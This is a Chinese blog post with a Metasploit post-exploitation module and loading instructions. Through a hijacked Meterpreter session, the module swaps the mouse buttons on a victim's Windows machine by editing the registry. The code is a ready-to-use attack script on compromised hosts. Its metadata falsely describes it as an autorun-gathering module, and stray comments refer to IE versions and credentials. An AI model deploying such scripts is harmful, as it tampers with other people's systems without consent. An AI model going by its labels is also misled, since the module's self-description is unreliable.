msf渗透脚本之交换鼠标左右功能

swap.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info={})
    super(update_info(info,
      'Name'            => "Windows Gather Autorun",
      'Description'     => %q{
        This module will collect autorun program.
      },
      'License'         => MSF_LICENSE,
      'Platform'        => ['win'],
      'SessionTypes'    => ['meterpreter'],
      'Author'          => ['cosmop01tain']
    ))
  end

  #
  # RAILGUN HELPER FUNCTIONS
  #
  def is_86
    pid = session.sys.process.open.pid
    return session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
  end


  def run
    #check for meterpreter and version of ie
    if session.type != "meterpreter" and session.platform !~ /win/
      print_error("This module only works with Windows Meterpreter sessions")
      return 0
    end

    #get version of ie and check it
    ver = registry_getvaldata("HKCU\\Control Panel\\Mouse", "SwapMouseButtons")
    print_status("Button Status: #{ver}")
    print_status("start to swap...")
    if ver=="0"
      if registry_setvaldata("HKCU\\Control Panel\\Mouse","SwapMouseButtons", "1", "REG_SZ")
        print_good("success")
      end
    else
      if registry_setvaldata("HKCU\\Control Panel\\Mouse","SwapMouseButtons", "0", "REG_SZ")
        print_good("success")
      end
    end
    
    #print creds
    print_line("")
  end
end

保存到msf post/windows/gather/swap.rb,进入msfconsole之后执行reload_all
加载模块,
使用:use post/windows/gather/swap
set session id
run

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值